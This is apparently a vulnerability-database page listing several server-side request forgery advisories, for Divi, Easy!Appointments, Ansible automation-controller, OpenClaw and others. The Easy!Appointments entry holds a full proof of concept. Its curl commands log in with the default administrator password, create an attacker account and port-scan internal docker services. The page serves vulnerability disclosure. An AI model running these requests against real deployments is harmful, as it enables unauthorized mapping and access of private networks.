The Divi theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.27.6. This is due to the et_pb_set_video_oembed_thumbnail_resolution() function using wp_remote_get() instead of wp_safe_remote_get() to fetch a remote image URL, which does not restrict requests to private or reserved IP ranges. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application server. The response body is not returned to the attacker (blind SSRF), but two oracles exist: a status oracle (the returned URL string differs depending on whether the target responded with HTTP 200) and a timing oracle (response time varies by target reachability).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-05T07:17:11Z",
    "severity": "MODERATE"
  },
  "details": "The Divi theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.27.6. This is due to the `et_pb_set_video_oembed_thumbnail_resolution()` function using `wp_remote_get()` instead of `wp_safe_remote_get()` to fetch a remote image URL, which does not restrict requests to private or reserved IP ranges. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application server. The response body is not returned to the attacker (blind SSRF), but two oracles exist: a status oracle (the returned URL string differs depending on whether the target responded with HTTP 200) and a timing oracle (response time varies by target reachability).",
  "id": "GHSA-pjxf-f8rh-3cjp",
  "modified": "2026-09-05T09:30:21Z",
  "published": "2026-09-05T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4361"
    },
    {
      "type": "WEB",
      "url": "https://www.divichangelog.com/divi-update/divi-4/version-4-27-7"
    },
    {
      "type": "WEB",
      "url": "https://www.elegantthemes.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f35c0de9-abed-4cbf-a28c-48f8133a1bad?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM5P-7W5H-JM5Q

Vulnerability from github – Published: 2026-07-29 16:24 – Updated: 2026-07-29 16:24
VLAI
Summary
Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
Details

Summary

Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.

Preconditions

  • Backend login on the target instance. Non-admin attackers supply their own provider_id and pass the per-row check at Caldav.php:52; admins can target any row.
  • Default deployment per the project's own docker-compose.yml, which puts mysql, mailpit, phpmyadmin, baikal, openldap, phpldapadmin, and swagger-ui on the same docker network as php-fpm.

Details

// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
    try {
        $provider_id = request('provider_id');
        $user_id = session('user_id');

        if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
            throw new RuntimeException('You do not have the required permissions for this task.');
        }

        $caldav_url = request('caldav_url');                                  // (*) attacker-controlled
        $caldav_username = request('caldav_username');
        $caldav_password = request('caldav_password');

        $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink
        ...
    } catch (GuzzleException | InvalidArgumentException $e) {
        json_response([
            'success' => false,
            'message' => $e->getMessage(),                                    // (*) upstream body reflected
        ]);
    }
}

The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.

When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.

Proof of concept

Setup

  1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done

  1. Run the console installer. The seed sets administrator's password to the literal string administrator (application/libraries/Instance.php:99):

bash docker compose exec -T php-fpm php index.php console install

  1. Log in as administrator (the project's session cookie is ea_session) and create an attacker provider. The default require_phone_number=1 setting makes phone_number mandatory:

```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null

CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ```

  1. Log in as the attacker into a dedicated cookie jar:

bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

  1. The attacker probes the nginx container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own $ATTACKER_ID so the row-ownership check at Caldav.php:52 succeeds; the URL has nothing to do with the row:

bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://nginx/some/404/path" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x"

Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http:\/\/nginx\/some\/404\/path\/` resulted in a `404 Not Found` response:\n\n<!doctype html>\n\n\n \n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.

  1. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:

bash for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) printf '\n=== %s ===\n' "$target" curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://$target/" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" done

Observed: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/` resulted in a `405 Not Allowed` response: \r\n405 Not Allowed...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.

Impact

  • Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the php-fpm container, including loopback, the docker network's mysql, mailpit, phpmyadmin, baikal, openldap services, and any RFC1918 / link-local IP on the host network.
  • Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON message field, enough to fingerprint internal services and read short error pages, banners, or status documents.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.

         $caldav_url = request('caldav_url');
+
+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+        if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+            throw new InvalidArgumentException('CalDAV URL is not allowed.');
+        }
+
         $caldav_username = request('caldav_username');
         $caldav_password = request('caldav_password');

         $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);

Credit

Dredsen, 2026.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:24:27Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request\u0027s `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment\u0027s network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project\u0027s own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n    try {\n        $provider_id = request(\u0027provider_id\u0027);\n        $user_id = session(\u0027user_id\u0027);\n\n        if (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n            throw new RuntimeException(\u0027You do not have the required permissions for this task.\u0027);\n        }\n\n        $caldav_url = request(\u0027caldav_url\u0027);                                  // (*) attacker-controlled\n        $caldav_username = request(\u0027caldav_username\u0027);\n        $caldav_password = request(\u0027caldav_password\u0027);\n\n        $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink\n        ...\n    } catch (GuzzleException | InvalidArgumentException $e) {\n        json_response([\n            \u0027success\u0027 =\u003e false,\n            \u0027message\u0027 =\u003e $e-\u003egetMessage(),                                    // (*) upstream body reflected\n        ]);\n    }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: \u003cbody truncated to ~120 chars\u003e``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment\u0027s network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator\u0027s password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Log in as `administrator` (the project\u0027s session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" \u003e /dev/null\n\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \u0027provider[first_name]=Mal\u0027 \\\n     --data-urlencode \u0027provider[last_name]=Lory\u0027 \\\n     --data-urlencode \u0027provider[email]=mallory@x.test\u0027 \\\n     --data-urlencode \u0027provider[phone_number]=+10000000000\u0027 \\\n     --data-urlencode \u0027provider[timezone]=UTC\u0027 \\\n     --data-urlencode \u0027provider[language]=english\u0027 \\\n     --data-urlencode \u0027provider[settings][username]=mallory\u0027 \\\n     --data-urlencode \u0027provider[settings][password]=Attacker-pw-1\u0027 \\\n     --data-urlencode \u0027provider[settings][notifications]=0\u0027\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027mallory\u0027\")\n   ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n   ```bash\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n     --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n     --data-urlencode \"caldav_username=x\" \\\n     --data-urlencode \"caldav_password=x\"\n   ```\n\n   Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n\u003c!doctype html\u003e\\n\u003chtml lang=\\\"en\\\" style=\\\"\\n    height: 100%;\\n\\\"\u003e\\n\u003chead\u003e\\n    \u003cmeta charset=\\\"utf-8\\\"\u003e\\n    \u003cmeta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n   ```bash\n   for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n     CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n     printf \u0027\\n=== %s ===\\n\u0027 \"$target\"\n     curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n       --data-urlencode \"csrf_token=$CSRF\" \\\n       --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n       --data-urlencode \"caldav_url=http://$target/\" \\\n       --data-urlencode \"caldav_username=x\" \\\n       --data-urlencode \"caldav_password=x\"\n   done\n   ```\n\n   Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: \u003chtml\u003e\\r\\n\u003chead\u003e\u003ctitle\u003e405 Not Allowed\u003c/title\u003e...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network\u0027s `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client.\n\n```diff\n         $caldav_url = request(\u0027caldav_url\u0027);\n+\n+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: \u0027\u0027;\n+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+        if (!in_array($scheme, [\u0027http\u0027, \u0027https\u0027], true) || $ip === \u0027\u0027 || $ip === $host\n+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+            throw new InvalidArgumentException(\u0027CalDAV URL is not allowed.\u0027);\n+        }\n+\n         $caldav_username = request(\u0027caldav_username\u0027);\n         $caldav_password = request(\u0027caldav_password\u0027);\n\n         $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.",
  "id": "GHSA-pm5p-7w5h-jm5q",
  "modified": "2026-07-29T16:24:28Z",
  "published": "2026-07-29T16:24:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52840"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment\u0027s internal network"
}

GHSA-PM79-7WHG-HPFR

Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-24 09:31
VLAI
Details

A server-side request forgery flaw was found in the Ansible Automation Platform automation-controller email notification backend. The email backend passes the user-supplied SMTP host and port from a notification template directly to the SMTP client without validating that the target is not an internal, loopback, link-local, or reserved address. An authenticated user with organization notification-admin permission can create or modify an email notification template pointing at an arbitrary internal address, trigger a test, and have the controller task process open a raw TCP connection to that address. The resulting connection error is reflected back through the notification record, providing a three-state internal port-scan oracle (open, closed, filtered) over the control-plane's cluster network, including the in-cluster Kubernetes API. When a shared organization template holds a stored SMTP password, redirecting the host can also cause that credential to be transmitted to an attacker-controlled server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-84721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery flaw was found in the Ansible Automation Platform\nautomation-controller email notification backend. The email backend passes the user-supplied SMTP\nhost and port from a notification template directly to the SMTP client without validating that\nthe target is not an internal, loopback, link-local, or reserved address. An authenticated user\nwith organization notification-admin permission can create or modify an email notification\ntemplate pointing at an arbitrary internal address, trigger a test, and have the controller task\nprocess open a raw TCP connection to that address. The resulting connection error is reflected\nback through the notification record, providing a three-state internal port-scan oracle (open,\nclosed, filtered) over the control-plane\u0027s cluster network, including the in-cluster Kubernetes\nAPI. When a shared organization template holds a stored SMTP password, redirecting the host can\nalso cause that credential to be transmitted to an attacker-controlled server.",
  "id": "GHSA-pm79-7whg-hpfr",
  "modified": "2026-09-24T09:31:50Z",
  "published": "2026-09-23T21:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84721"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-84721"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2527220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMFQ-GXQ5-R895

Vulnerability from github – Published: 2026-09-30 21:32 – Updated: 2026-09-30 21:32
VLAI
Details

OpenClaw Windows Node through 2026.9.4 contains a server-side request forgery vulnerability in the canvas.present capability that bypasses URL risk evaluation enforced by canvas.navigate. Attackers with gateway or agent access can issue canvas.present to make the node's WebView send requests to localhost, private networks, or tailnet services from the user's machine.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-101883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-30T20:17:20Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw Windows Node through 2026.9.4 contains a server-side request forgery vulnerability in the canvas.present capability that bypasses URL risk evaluation enforced by canvas.navigate. Attackers with gateway or agent access can issue canvas.present to make the node\u0027s WebView send requests to localhost, private networks, or tailnet services from the user\u0027s machine.",
  "id": "GHSA-pmfq-gxq5-r895",
  "modified": "2026-09-30T21:32:10Z",
  "published": "2026-09-30T21:32:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw-windows-node/security/advisories/GHSA-7vch-pmw9-3g4q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw-windows-node/commit/16528aadaa45d7bc6718b07ccf8b01f3eb033ad1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw-windows-node/blob/v0.6.12/src/OpenClaw.Tray.WinUI/Windows/CanvasWindow.xaml.cs#L77-L109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw-windows-node/blob/v2026.9.4/src/OpenClaw.Tray.WinUI/Services/NodeService.cs#L1244-L1270"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-windows-node-through-2026.9.4-ssrf-via-canvas-present"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PMGR-28PH-JHMM

Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32
VLAI
Details

An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T22:15:15Z",
    "severity": "MODERATE"
  },
  "details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.",
  "id": "GHSA-pmgr-28ph-jhmm",
  "modified": "2025-04-21T18:32:08Z",
  "published": "2025-04-18T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29456"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/ckogwt5qwnkd821k"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.